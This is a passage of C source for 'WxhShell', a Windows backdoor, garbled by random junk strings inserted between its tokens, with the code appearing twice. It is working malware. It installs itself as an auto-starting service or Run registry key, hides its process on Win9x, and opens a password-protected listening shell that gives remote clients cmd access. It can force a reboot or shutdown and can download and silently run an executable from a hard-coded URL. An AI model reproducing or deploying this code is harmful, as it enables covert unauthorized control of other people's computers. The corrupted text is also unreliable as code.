A{)p#K8 if(NULL == hInst ) return 0; rvPmd%nk- T*](oA@ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P>_ r6C g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wSG!.Ejc7 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %[BOe4[
a~F\2`Q if (!NtQueryInformationProcess) return 0; K'b #}N\ wQ '_, d hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ab>>W!r@! if(!hProcess) return 0; b;"Z`/h 7kmd.< if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]~\%ANoi YeB)]$'?u` CloseHandle(hProcess); 2]+f<Z[/ pW-aX)\DR hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ||'A9 if(hProcess==NULL) return 0; X"S")BQ
q #%.fsJNA$ HMODULE hMod; #=czqZw char procName[255]; jB3Rue:+g unsigned long cbNeeded; "T~A*a^ "2hs=^&8 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y
>U_l:_^ /v7o!D1G CloseHandle(hProcess); CB>*(Mu
P5`BrY,hZ if(strstr(procName,"services")) return 1; // 以服务启动 8WLBq-]G c<5(c%a return 0; // 注册表启动 Pk)H(, } zUz j
F %dq|)r // 主模块 *q0vp^? int StartWxhshell(LPSTR lpCmdLine) |I s"ov { +H
"j-:E@t SOCKET wsl; Us4#O& BOOL val=TRUE; o=Ia{@ int port=0; $zJ!L struct sockaddr_in door; Y9y'`}+ <MgC7S2I if(wscfg.ws_autoins) Install(); LmjGU[L,@ $mut v=IO port=atoi(lpCmdLine); U_@Dn[/: 7o$S6Y;c4 if(port<=0) port=wscfg.ws_port; Z6_fI 9lc{{)m2) WSADATA data; Gr!@ih^ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )m>Y[)8! \04(V'`U if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; s@pIcNvx setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |J&=h|-A door.sin_family = AF_INET; <4jqF 4
W door.sin_addr.s_addr = inet_addr("127.0.0.1"); W|V9:A door.sin_port = htons(port); h]p$r`i7 4/Xu,pT if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `0Xs!f closesocket(wsl); ONm-zRx| return 1; [*^rH: } ]3CWb>!_ [Ee <SB{ if(listen(wsl,2) == INVALID_SOCKET) { R)'[Tt`# R closesocket(wsl); ]TSzT"_r~~ return 1; #P;vc{ Iq } @8U8> 'zDE Wxhshell(wsl); F 8 gw3 WSACleanup(); nD#uOep9 e6_` return 0; ]s}9-!{O
`_ )5K u} } A9ZK :i7 UiH5iZ<r; // 以NT服务方式启动 VVHL@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s+6tdBvzs { 4x?4[J~u[ DWORD status = 0; ->5[C0: ] DWORD specificError = 0xfffffff; F tay8m@f koy0A/\% serviceStatus.dwServiceType = SERVICE_WIN32; cD]#6PFA serviceStatus.dwCurrentState = SERVICE_START_PENDING; Z2&7HTz serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ed>n/)Sm serviceStatus.dwWin32ExitCode = 0; |!uC [= serviceStatus.dwServiceSpecificExitCode = 0; :\"g}AX serviceStatus.dwCheckPoint = 0; 5 IFc" serviceStatus.dwWaitHint = 0; y{J7^o(_~ IZ9*
'0Z hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jYnP)xX; if (hServiceStatusHandle==0) return; V( 3rTDg G u#wH status = GetLastError(); @zSj&4 if (status!=NO_ERROR) (?kCo { !c=EB`<* serviceStatus.dwCurrentState = SERVICE_STOPPED; ]`TX%Qni serviceStatus.dwCheckPoint = 0; x)-n[Fu serviceStatus.dwWaitHint = 0; 8QN/D\uq serviceStatus.dwWin32ExitCode = status; dW#?{n-H< serviceStatus.dwServiceSpecificExitCode = specificError; G'WbXX SetServiceStatus(hServiceStatusHandle, &serviceStatus); m";?B1%x return; 'Jl3%axR } C &&33L /[UuHU5*R serviceStatus.dwCurrentState = SERVICE_RUNNING; #gRtCoew serviceStatus.dwCheckPoint = 0; (zIF2qY serviceStatus.dwWaitHint = 0; ]QmY`pTB` if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1owe'7\J } Ct386j>< 884 -\M"h // 处理NT服务事件,比如:启动、停止 ms/Q- VOID WINAPI NTServiceHandler(DWORD fdwControl) %^(} fu { Ls{]ohP switch(fdwControl) y.?Q { ANXN.V case SERVICE_CONTROL_STOP:
2>Sr04Pt serviceStatus.dwWin32ExitCode = 0; n-:n.JX serviceStatus.dwCurrentState = SERVICE_STOPPED; mZ4I}_\, serviceStatus.dwCheckPoint = 0; yvV]|B@sO serviceStatus.dwWaitHint = 0; oL*ZfF3 { e4Xo(EY & SetServiceStatus(hServiceStatusHandle, &serviceStatus); yr34&M(a } xQ\S!py- return; SOQR(UT case SERVICE_CONTROL_PAUSE: + wF5( serviceStatus.dwCurrentState = SERVICE_PAUSED; Rmh u"N/q break; <k7q9"\4 case SERVICE_CONTROL_CONTINUE: LGPg\g` serviceStatus.dwCurrentState = SERVICE_RUNNING; 1eMaKT_= break; !k=~a] case SERVICE_CONTROL_INTERROGATE: -ZBSkyMGy break; W Z^u%Z }; +3k#M[Bn} SetServiceStatus(hServiceStatusHandle, &serviceStatus); wPH1g*U } #5mnSky+s <77v8=as5 // 标准应用程序主函数 UjH+BC+9`b int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J3AS"+] { cT3 s{k b"&1l2\ A // 获取操作系统版本 U$T
(R2@ OsIsNt=GetOsVer(); BH^8!7dkT GetModuleFileName(NULL,ExeFile,MAX_PATH); e7JZk6GP#9 s78V \Vw3 // 从命令行安装 y<n<uZ; if(strpbrk(lpCmdLine,"iI")) Install(); ej{7)# 7A46?kfu // 下载执行文件 19;F+%no# if(wscfg.ws_downexe) { WkK.ON^ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %!p/r` WinExec(wscfg.ws_filenam,SW_HIDE); z)&GF$* } R4[dh.lf #{suH7 if(!OsIsNt) { Ar1X
mHq // 如果时win9x,隐藏进程并且设置为注册表启动 XOd HideProc(); vAo|o* StartWxhshell(lpCmdLine); @BS7Gyw } h} <Ie < else Ol1P if(StartFromService()) >}>cJh6 // 以服务方式启动 LOlj8T8Z StartServiceCtrlDispatcher(DispatchTable); >;OwBzB else pQOT\- bD // 普通方式启动 hPgDK.R' StartWxhshell(lpCmdLine); a$h
zG- 7;H P_oAu return 0; L*Q#!_K0P } * 2s(TW 0vi\o`**Mj OQa;EBO iV8O<en&i =========================================== :H`Z.>K oM)4""| yB,{:kq7D 3M<T}> N.qS;%*o{e %2`geN< " o9L$B ~4[4"Pi>| #include <stdio.h> TrC :CL #include <string.h>
h@"u==0 #include <windows.h> ;mLbgiqQ J #include <winsock2.h> |4A938'4j #include <winsvc.h> I85bzzZB #include <urlmon.h> &?j]L4% _^cFdP)8| #pragma comment (lib, "Ws2_32.lib") xlU:&=| #pragma comment (lib, "urlmon.lib") K18Sj,]B 29GcNiE`T #define MAX_USER 100 // 最大客户端连接数 0xe*\CAo #define BUF_SOCK 200 // sock buffer -p2 =?a #define KEY_BUFF 255 // 输入 buffer GK-__Y. 3# r`e #define REBOOT 0 // 重启 b~<Tgo_/jf #define SHUTDOWN 1 // 关机 }_"<2|~_ rytaC( #define DEF_PORT 5000 // 监听端口 )k'4]=d
< t+`>zux5(T #define REG_LEN 16 // 注册表键长度 p:9^46N@ #define SVC_LEN 80 // NT服务名长度 UO{3vry48 #Mmr{4m // 从dll定义API ?v$kq}Rg typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j[y,Jch typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &fuJ% typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3 h~U)mg typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %V3xO% Fi*j}4F1 // wxhshell配置信息 Msea kF struct WSCFG { H[KTM 'n int ws_port; // 监听端口 V]I+>Zn| 7 char ws_passstr[REG_LEN]; // 口令 GVlTW?5 int ws_autoins; // 安装标记, 1=yes 0=no E A8>{}Z*
char ws_regname[REG_LEN]; // 注册表键名 dN)!B!*aI char ws_svcname[REG_LEN]; // 服务名 _onEXrM char ws_svcdisp[SVC_LEN]; // 服务显示名 /,cyp. char ws_svcdesc[SVC_LEN]; // 服务描述信息 iYHCa } char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KeiPo KhZi int ws_downexe; // 下载执行标记, 1=yes 0=no :Z'q1kW@" char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )]~;Ac^x char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4RXF.kJ3= 'HdOW[3o }; :P1/kYg :0)nL // default Wxhshell configuration uk)6% struct WSCFG wscfg={DEF_PORT, h-`*S&mZ "xuhuanlingzhe", WOaj_o 1, !WD~zZ|
"Wxhshell", +W-,74A "Wxhshell", iig ({b "WxhShell Service", Jm(sx'qPx "Wrsky Windows CmdShell Service", c3NUJ~>=y "Please Input Your Password: ", b=-LQkcZhK 1, UPI'O % "http://www.wrsky.com/wxhshell.exe", DoYzTSWx "Wxhshell.exe" V% c1+h < }; 9?xc3F2EBD %ut7T!Jp // 消息定义模块 yF#:*Vz> char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,9:0T LLR char *msg_ws_prompt="\n\r? for help\n\r#>"; &InMI#0mV char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "uthFE char *msg_ws_ext="\n\rExit."; [8J/#!B
char *msg_ws_end="\n\rQuit."; KW~fW r8 char *msg_ws_boot="\n\rReboot..."; 7Vd"AVn}g char *msg_ws_poff="\n\rShutdown..."; MCcWRbE5# char *msg_ws_down="\n\rSave to "; DY~zi 1*>lYd8_ char *msg_ws_err="\n\rErr!"; GG@&jcp7 char *msg_ws_ok="\n\rOK!"; NpIx\\d mq(*4KFWJ2 char ExeFile[MAX_PATH]; aybfBC int nUser = 0; Q]u*Oels HANDLE handles[MAX_USER]; =!RlU)w int OsIsNt; Wr%E}mX- 6UkX?I`> SERVICE_STATUS serviceStatus; ]5=C3Y SERVICE_STATUS_HANDLE hServiceStatusHandle; k^ZcgHHgb F9SkEf]99 // 函数声明 ~/B[;# int Install(void); 'Wn2+pd int Uninstall(void); y,`SLgBID int DownloadFile(char *sURL, SOCKET wsh); dt efDsK int Boot(int flag); #)r
void HideProc(void); NzP5s&,C69 int GetOsVer(void); q-;z!iq|! int Wxhshell(SOCKET wsl); '{t&!M` void TalkWithClient(void *cs); a_pNFe int CmdShell(SOCKET sock); 1gZW~6a} int StartFromService(void); T%\f$jh6 int StartWxhshell(LPSTR lpCmdLine); f[bx|6 $g?`yE(K VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?1f(@ VOID WINAPI NTServiceHandler( DWORD fdwControl ); )$Erfu j0LA // 数据结构和表定义 G%V*+Ond SERVICE_TABLE_ENTRY DispatchTable[] = -I'@4\< { 3r)<:4a
u& {wscfg.ws_svcname, NTServiceMain}, ^h :%%\2 {NULL, NULL} {M5[gr% }; >4zH\T! .mse.$TK.^ // 自我安装 "2}E ARa int Install(void) jM E==)Y { YB}p`b42L char svExeFile[MAX_PATH]; fh1rmet&Ts HKEY key; !i|]OnJY strcpy(svExeFile,ExeFile); pm*6&, bOi`JJ^ // 如果是win9x系统,修改注册表设为自启动 azj:Hru&t# if(!OsIsNt) { xlqh,?'>W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X"KX_)GZD RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -L&FguoVB RegCloseKey(key); IXmtjRv5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pMB~Lt9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LV:`siK RegCloseKey(key); 7h4"5GlO0 return 0; K#B)@W?9 } &J\V
!uVo } $_6DvJ0 } l>i<J1 else { LM*#DLadk PF,|Wzx // 如果是NT以上系统,安装为系统服务 8TK&i, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #'qEm=% if (schSCManager!=0) .,C8ASfh { ;xnJ+$//U SC_HANDLE schService = CreateService (W7cQ> ( BPoY32d"_ schSCManager, z;dD
}Fo wscfg.ws_svcname, +%$'(ts wscfg.ws_svcdisp, uZe|%xK$y SERVICE_ALL_ACCESS, *Ge2P3 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >f [Lb|t SERVICE_AUTO_START, Zhl}X!:c?\ SERVICE_ERROR_NORMAL, Z /-!- svExeFile, L6^Qn%:OTd NULL, YQzs0t , NULL, -Mb`I >= NULL, I/ pv0 NULL, fIo7R-XP NULL s2*^ PG ); k!gft'iU if (schService!=0) 5I!EsW$sY { N7=L^] CloseServiceHandle(schService); lNcXBtwK@# CloseServiceHandle(schSCManager); C F2*W).+ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f^8,Z+n strcat(svExeFile,wscfg.ws_svcname); J?\z{ ;qa if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2Uf}gG) RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |OXufV?I RegCloseKey(key); #tyHj k return 0; Hq.ys> _ } ORPQ1%tu } CU3[{a CloseServiceHandle(schSCManager); }MKm>N } .JNU3%s } \;w+_<zE5{ ?@"B:#l return 1; %m:T?![XO } #P,mZ}G\ PTfy# // 自我卸载 ,LjB%f[ int Uninstall(void) U0N6\+ { azRp4~2? HKEY key; k[*> nE lcfs
1]. if(!OsIsNt) { NZ+TTMv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =t|,6Vp RegDeleteValue(key,wscfg.ws_regname); DD[<J:6 RegCloseKey(key); w.+G+r= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `84,R! RegDeleteValue(key,wscfg.ws_regname); h66mzV:` RegCloseKey(key); Odw9]`,T return 0; Pv*]AF;9pQ } vSCJ xSt#e } /38XaKc{6 } C[><m2T else { /8 "rCh|m- i
nk!>Z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o Z%oP V: if (schSCManager!=0) =t.T9'{ { E0u&hBd3_ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R\x3'([A5 if (schService!=0) @S&QxE^ { xgvwH?< if(DeleteService(schService)!=0) { o,/w E CloseServiceHandle(schService); p]7IoO
-@ CloseServiceHandle(schSCManager); x((Rm_' return 0; \]3[Xw-$ } 4MCj*ok< CloseServiceHandle(schService); +.-mqtM } NFqGbA| CloseServiceHandle(schSCManager); s'BlFB n } lx> ."rW } j?\z5i""f /?V- return 1; Tz&h[+ 6` } gN]\#s@[ _
Ewkb // 从指定url下载文件 VuD{t%Jb int DownloadFile(char *sURL, SOCKET wsh) OMBH[_ { oFsV0 {x%) HRESULT hr; s?
2ikJq char seps[]= "/"; {TDZDH char *token; gSe3S-Lt char *file; *n6L3"cO char myURL[MAX_PATH]; /Zxq-9
char myFILE[MAX_PATH]; Z,V<&9a; eYevj[c; strcpy(myURL,sURL); RNt9Qdr4y token=strtok(myURL,seps); {HFx+<JG while(token!=NULL) BKYyc6iE { bGxHzzU} file=token; D2RvFlAXu token=strtok(NULL,seps); 2WE01D9O } Y8N+v+V/ MSB/O. GetCurrentDirectory(MAX_PATH,myFILE); }i^$
li@ strcat(myFILE, "\\"); kM(m$Oo. strcat(myFILE, file); F3L+X5D.yu send(wsh,myFILE,strlen(myFILE),0); !lBK!'0 send(wsh,"...",3,0); %D~Mij hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); by\Sq} if(hr==S_OK) rbl^ aik return 0; R@U4Ae{+ else ` $q0fTz return 1; /QQjb4S} 7m}fVLk } kdaq_O:s +,TrJg // 系统电源模块 )JJF}m= int Boot(int flag) WpRM|"CF { eHR]qy 0_X HANDLE hToken; EV7lgKM^ TOKEN_PRIVILEGES tkp; }Kn
l &(e5*Q if(OsIsNt) { OL_jU2,fv OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e3?z^AUXm LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {WQ6=wGpS tkp.PrivilegeCount = 1; /y6I I$AvM tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i1'G_bo4F7 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }6=?
zs} if(flag==REBOOT) { KP7 { if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) uBxoMxWm return 0; ? % A2 } [B +:)i else { c2?VjuB0 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9A/bA|$
return 0; N
Hn#c3o } p}5413z5Z= } >s1?rC else { lxr;AJ( if(flag==REBOOT) { j(k}NWPH if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b*/Mco 9O return 0; #=;vg } /Gn0|]KI else { X{<taD2~ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]Qa|9G,b return 0; E0yx
@Vx } i0J`{PbI } %wI)uJ2 ;8^(Z return 1; u?H.Z } U3`?Z`i( Eggu-i(rD // win9x进程隐藏模块 Pn6~66a6 void HideProc(void) %(W8WLz} { *)Cr1d k yqVoedN HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *M_^I)*L if ( hKernel != NULL ) <q>d@Foi { )[|_q, pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cG%X}ZV5 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rs( e FreeLibrary(hKernel); fre5{=@ } pLys%1hg vU]n0)<KB return; "z;R"sv\ } #dD0vYT&od w=a$]` // 获取操作系统版本
M&<qGV$A int GetOsVer(void) x 4sIZe+ { _zi| GD OSVERSIONINFO winfo; r-*6#
" winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 08D:2 z1z GetVersionEx(&winfo); ^!0z+M:>^ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (|rf>=B+H return 1; +|7N89l else _[-W*,xJ) return 0; %5DM ew } |0?v4%g 3HW&\:q5'M // 客户端句柄模块 ~8"oH5 int Wxhshell(SOCKET wsl) VJFFH\!` { ?Zsh\^k.g SOCKET wsh; ~P"Agpx3u struct sockaddr_in client; IkjJqz DWORD myID; G%AO%II oif|X7H; while(nUser<MAX_USER) &43c/TSb { )9[u*|+ int nSize=sizeof(client); 0fn*;f8{XJ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K"&^/[vMB if(wsh==INVALID_SOCKET) return 1; 2|d^#8)ZC NO@`*:.^Y handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0NKgtH~+ if(handles[nUser]==0) Zq<j}vVJ closesocket(wsh); iyd$_CJ z else LME&qKe5 nUser++; 1q3"qYH } =QbOvIq WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XWQ `]m) lX)AbK]nb return 0; EP>Lh7E9n } oP%5ymL%J <\O8D0.d // 关闭 socket BRskxyL&, void CloseIt(SOCKET wsh) .{*l, { 5u;//Cm closesocket(wsh); P=KhR&gwV~ nUser--; ~cfXEjE6 ExitThread(0); nqo1+OR } &Tj7qlP\ oz)4YBf // 客户端请求句柄 9+PAyI#w void TalkWithClient(void *cs) W=w]`' { D}lqd Ja 0Xw>_#Y/xS SOCKET wsh=(SOCKET)cs; lS7L| char pwd[SVC_LEN]; SQn.`0HT char cmd[KEY_BUFF]; bv'>4a char chr[1]; }r,xx{.u7 int i,j; JGTsVa2 Rvx7}ZL! while (nUser < MAX_USER) { *<y9.\zY< oH?:(S( if(wscfg.ws_passstr) { v[{7\Hha if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EPH" 5$8 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K:$mEB[c< //ZeroMemory(pwd,KEY_BUFF); 4g8o~JI:v i=0; v
@0G^z| while(i<SVC_LEN) { 6SH0
y Z|Rc54Ct // 设置超时 WysWg7,r fd_set FdRead; ~jzLw@"~$^ struct timeval TimeOut; 3*2~#dh= FD_ZERO(&FdRead); 0F%8d@Y2 FD_SET(wsh,&FdRead); )UF'y{K} TimeOut.tv_sec=8; buN@O7\ TimeOut.tv_usec=0; %<a3[TQd`\ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); IF|;;*Z8 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [f6BA|
0#eb] c if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fxoEK}TM pwd=chr[0]; Ys}^hy if(chr[0]==0xd || chr[0]==0xa) { Y
z&!0Hfd pwd=0; aK;OzB) break; G$V=\60a- } EFh^C.S8 i++; av|T|J/( } OObAn^bt uGb+ *tD // 如果是非法用户,关闭 socket ."^\1N(.n if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H@G$K@L } 9?O8j1F w)zJ $l send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {R(CGrI send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b3R(O| 0Atha>w^o~ while(1) { [>54?4{|. `14@dk
ZeroMemory(cmd,KEY_BUFF); I8)D ud5}jyJ // 自动支持客户端 telnet标准 MooH`2Fd j=0; .#SgU<Wq while(j<KEY_BUFF) { S@u46 X> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~ E6e~ cmd[j]=chr[0]; 6wWhM&Wd if(chr[0]==0xa || chr[0]==0xd) { v9Ii8{ca| cmd[j]=0; )G^k$j break; eg}g}a } $ MH;v_'a j++; Cfmd*, } 9MZ)- iu8Q &Us0P // 下载文件 b5=|1SjR if(strstr(cmd,"http://")) { gdTW
~b
send(wsh,msg_ws_down,strlen(msg_ws_down),0); NN'pBUR if(DownloadFile(cmd,wsh)) \h#aPG<yo send(wsh,msg_ws_err,strlen(msg_ws_err),0); K)>F03=uE else \ . #Y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v LN KX;9 } mm+V*L{x else { \MRd4vufv jXf@JxQ switch(cmd[0]) { _"Ym]y28li &v((tZ // 帮助 t{iRCj case '?': { /+%aSPQ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vb>F)po1} break; DVhBZ!u9 } d"?"(Q_8n // 安装 G) KI{D case 'i': { v.8kGF if(Install()) U"8Hw@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); MF'Z?M else aQL0Sj:, send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yz0fOX break; AA^K/y } D1-/#QN$1 // 卸载 QnS^ G{ case 'r': { AYY(<b if(Uninstall()) Xn=yC Pi send(wsh,msg_ws_err,strlen(msg_ws_err),0); "1Hn?4nz5 else {0F/6GwUC send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KPz0;2} break;
N#9N ^#1 } MMKN^a"GA // 显示 wxhshell 所在路径 ;5X~"#%U_ case 'p': { azIhp{rHw char svExeFile[MAX_PATH]; Ln&~t(7 strcpy(svExeFile,"\n\r"); k%~;mu"4} strcat(svExeFile,ExeFile); J#Y0R"fo send(wsh,svExeFile,strlen(svExeFile),0); _GxC|d break; dh6kj-^;Cf } g`'!Vgd?M[ // 重启 HN`qMGW^ case 'b': { j"~"-E(79 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^wZx=kas if(Boot(REBOOT)) jRiMWolLv send(wsh,msg_ws_err,strlen(msg_ws_err),0); t|oIzjKE/ else { \='LR!_ closesocket(wsh); i ?pd|J ExitThread(0); 1SS1P0Ur } 30WOH
'n break; (=u!E+N } EMe1!) // 关机 .
U6(>6- case 'd': { ]}'bRq*] send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (|AZO! if(Boot(SHUTDOWN)) vde!k_,wZ send(wsh,msg_ws_err,strlen(msg_ws_err),0); w+')wyB else { egA*x*8 closesocket(wsh); iTdamu`L ExitThread(0); kw z6SObQ } `,~'T [ break; T$0)un } |) ~-Wy // 获取shell Q{S{|.w- case 's': { 2jhJXM=~ CmdShell(wsh); M {'(+a[ closesocket(wsh); i^:#*Q-co ExitThread(0); k*2khh- break; I:DAn!N-A* } '")'h // 退出 ]Kjt@F"; case 'x': { r$4d4xtK send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^zT=qBl CloseIt(wsh); Z>R@ break; Zp[>[1@+ } 6`'g ${U // 离开 I*f@^( case 'q': { onmkg}&_ send(wsh,msg_ws_end,strlen(msg_ws_end),0); KAE %Wwjr closesocket(wsh); CIo`;jt K WSACleanup(); d5L BL'/o exit(1); E83$(6z break; U9PI#TX
&O } C[Q4OAFG } g2?W@/pa } D0bpD X)j%v\#`U // 提示信息 I8@leT\9M if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s=:LS } {I0!q"sF } %}N01P|X> tkptm%I_
return; WRbdv{1E } 7Cz=; XD6Kp[s // shell模块句柄 6*$A/D int CmdShell(SOCKET sock) N@Ap|`Ei { IY!.j5q8 STARTUPINFO si; KMfIp:~ ZeroMemory(&si,sizeof(si)); # ^,8JRA si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %kkDitmI{ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nzAySMD_ PROCESS_INFORMATION ProcessInfo; %sZ3Gpi char cmdline[]="cmd"; Zd-QZ<c";t CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &uaSp,L return 0; hqHk,# } 7,?ai6{ {='wGx // 自身启动模式 A$\/D2S7! int StartFromService(void) 9ec#'i= { AYoTCi%7E typedef struct 2Nm{.Y { 75P!`9bE DWORD ExitStatus; x) %"i) DWORD PebBaseAddress; XF3lS#pt DWORD AffinityMask; .;bU["fn) DWORD BasePriority; B\=T_'E& ULONG UniqueProcessId; F!I9)PSj ULONG InheritedFromUniqueProcessId; %F-yFN" } PROCESS_BASIC_INFORMATION; .VmRk9Z KF#qz2S PROCNTQSIP NtQueryInformationProcess; 4},Y0 QXw meap ;p static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /a}N6KUi static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g[ @Q iy kyYU 1gfh HANDLE hProcess; VJr ~h
"[ PROCESS_BASIC_INFORMATION pbi; I&1.}{G>F Yu[MNX;G HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E.*wNah"U if(NULL == hInst ) return 0; X,8Zn06M =b6G' O[ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -4J.YF> g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b9b`%9/L NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `'(@"-L:7 `09[25? if (!NtQueryInformationProcess) return 0; Hp(41Eb, VqOTrB1w/ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m60hTJ?N) if(!hProcess) return 0; "KC3+:tm `B3YP1 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [>Zg6q| 9(a*0H CloseHandle(hProcess); 6l"4F6 0@&;JMh6< hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rb>2l3g* if(hProcess==NULL) return 0; xTZJ5iZ17
